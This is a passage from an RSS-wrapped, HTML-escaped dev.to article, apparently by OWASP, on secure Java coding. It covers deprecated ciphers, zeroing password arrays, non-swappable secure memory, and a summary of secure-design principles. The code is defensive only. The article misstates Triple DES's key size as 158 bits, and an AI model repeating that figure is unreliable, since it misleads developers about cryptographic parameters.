        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;signatureInstance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Avoid deprecated and insecure encryption algorithhms
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;DES&lt;/strong&gt; - Uses a 56-bit key. This means that for bruteforcing it, you only need to try 2^56 combinations, which in today's reality, would take hours (or even a few minutes).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Triple DES&lt;/strong&gt; is an attempt to fix the &lt;strong&gt;DES&lt;/strong&gt; short key, where the key size is 158 bits. But because of &lt;strong&gt;meet-in-the-middle&lt;/strong&gt; attacks, the effective key length is only 112 bits. Resulting key sizes are still smaller than current standards (minimum 128 bits, preferably 256 bits), and with more to add, because of its triple encryption, it's just plain slow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RC4&lt;/strong&gt; - This algorithm was used for streaming data encryption. Because of the predictable properties of the first bytes, it allowed you to anticipate part of the key stream.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RSA&lt;/strong&gt; - Asymmetric encryption algorithm. With modern factorization techniques and computing power, keys smaller than &lt;strong&gt;2048 bits&lt;/strong&gt; can be cracked (larger keys are only a matter of time). And if a PKCS#1 encryption scheme is used, regardless of key length, there is a high risk for &lt;strong&gt;Padding Oracle&lt;/strong&gt; attacks.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Store sensitive data in memory securely
&lt;/h3&gt;

&lt;p&gt;In the examples where we worked with sensitive information (like passwords), we needed to ensure that we used them correctly in memory.&lt;/p&gt;

&lt;p&gt;Let's agree in advance, if you work with passwords, treat them not as &lt;code&gt;String&lt;/code&gt; strings, but as a &lt;code&gt;char[]&lt;/code&gt; or  &lt;code&gt;byte[]&lt;/code&gt; arrays. This is primarily to &lt;strong&gt;clear&lt;/strong&gt; our array when we no longer need it, thus protecting us from &lt;strong&gt;Data in Use&lt;/strong&gt; attacks. It is implemented in a simple manner:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;destroy&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;chars&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Arrays&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;fill&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chars&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'\0'&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;destroy&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Arrays&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;fill&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is also one important thing to consider. All this data is stored in RAM (&lt;strong&gt;RAM&lt;/strong&gt;), right? When memory is not enough, data that is rarely used can &lt;strong&gt;swap&lt;/strong&gt;'d to disk. Here it is important, in case sensitive data is stored in memory for a long time (let's say we cached it), it should &lt;strong&gt;never be swapped to disk&lt;/strong&gt;. This can lead to a big internal threat if an attacker gets into the server, because disk is much easier to analyze than memory, and even if the data has already been deleted from it, if that memory segment has not been overwritten, it can be recovered.&lt;/p&gt;

&lt;p&gt;On UNIX systems, it is realized through memory allocation and &lt;code&gt;mlock&lt;/code&gt; settings on them, and from Java, to allocate non-swappable memory, followed by its obfuscation can &lt;a href="https://github.com/OWASP/www-project-netryx" rel="noopener noreferrer"&gt;OWASP Netryx Memory&lt;/a&gt; be used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"sensitive data"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="nc"&gt;SecureMemory&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;SecureMemory&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// After we wrote data, we can freely clear it&lt;/span&gt;
&lt;span class="nc"&gt;Arrays&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;fill&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;obfuscate&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Note, `bytes` would be auto destroyed after it leaves lambda.&lt;/span&gt;
&lt;span class="c1"&gt;// You can create a copy of bytes, if needed.&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;originalSensitive&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;deobfuscate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nc"&gt;Bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;wrap&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;toCharArray&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// clears memory when we don't need it anymore&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This method is particularly useful for systems with &lt;strong&gt;high security requirements&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Following the principles of secure programming is the basis for building a secure application. Security must be integrated at all levels of development, from architecture design to the actual writing of code. No matter how secure the environment on which the application runs, if the application itself is vulnerable, it creates a big threat for the entire system. Conversely, even if the code is secure, a weak architecture or poor infrastructure management can lead to critical vulnerabilities. That's why we discussed creating a strong and secure architecture in &lt;a href="https://dev.tohttps://"&gt;Secure &amp;amp; Resilient Design&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Input validation is a key aspect of security. At first glance, this practice may seem simple, but ignoring it can lead to devastating consequences such as injection attacks, XSS and other types of threats. Proper data validation is not only a defense against obvious vulnerabilities, but it is also the first line of defense that helps protect your system from potentially unknown attacks based on malicious user inputs.&lt;/p&gt;

&lt;p&gt;Broken Access Control is a top 1 vulnerability, so it's critical to understand access control methods and implement them correctly in your system. And by following the principle of “Secure out of the box” you protect yourself from a potentially fatal error. Moreover, it is not enough just to authenticate &amp;amp; authorize the user, you must also secure the target user as much as possible.&lt;/p&gt;

&lt;p&gt;Error states are inevitable in any software, but it is important that they are handled in a way that does not expose potentially damaging information to malicious users, this is a violation of the first principle of the CIA - Confidentiality. Again, gathering information about the target is the very first step in an penetration attempt.&lt;/p&gt;

&lt;p&gt;Finally, when dealing with sensitive data, we need to make sure that we only use trusted and up-to-date cryptographic methods to protect it, and that our secrets are handled as securely as possible. That's it!&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1d4rdrddqlphm812szxg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1d4rdrddqlphm812szxg.png" width="800" height="167"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>programming</category>
      <category>java</category>
    </item>
  </channel>
</rss>
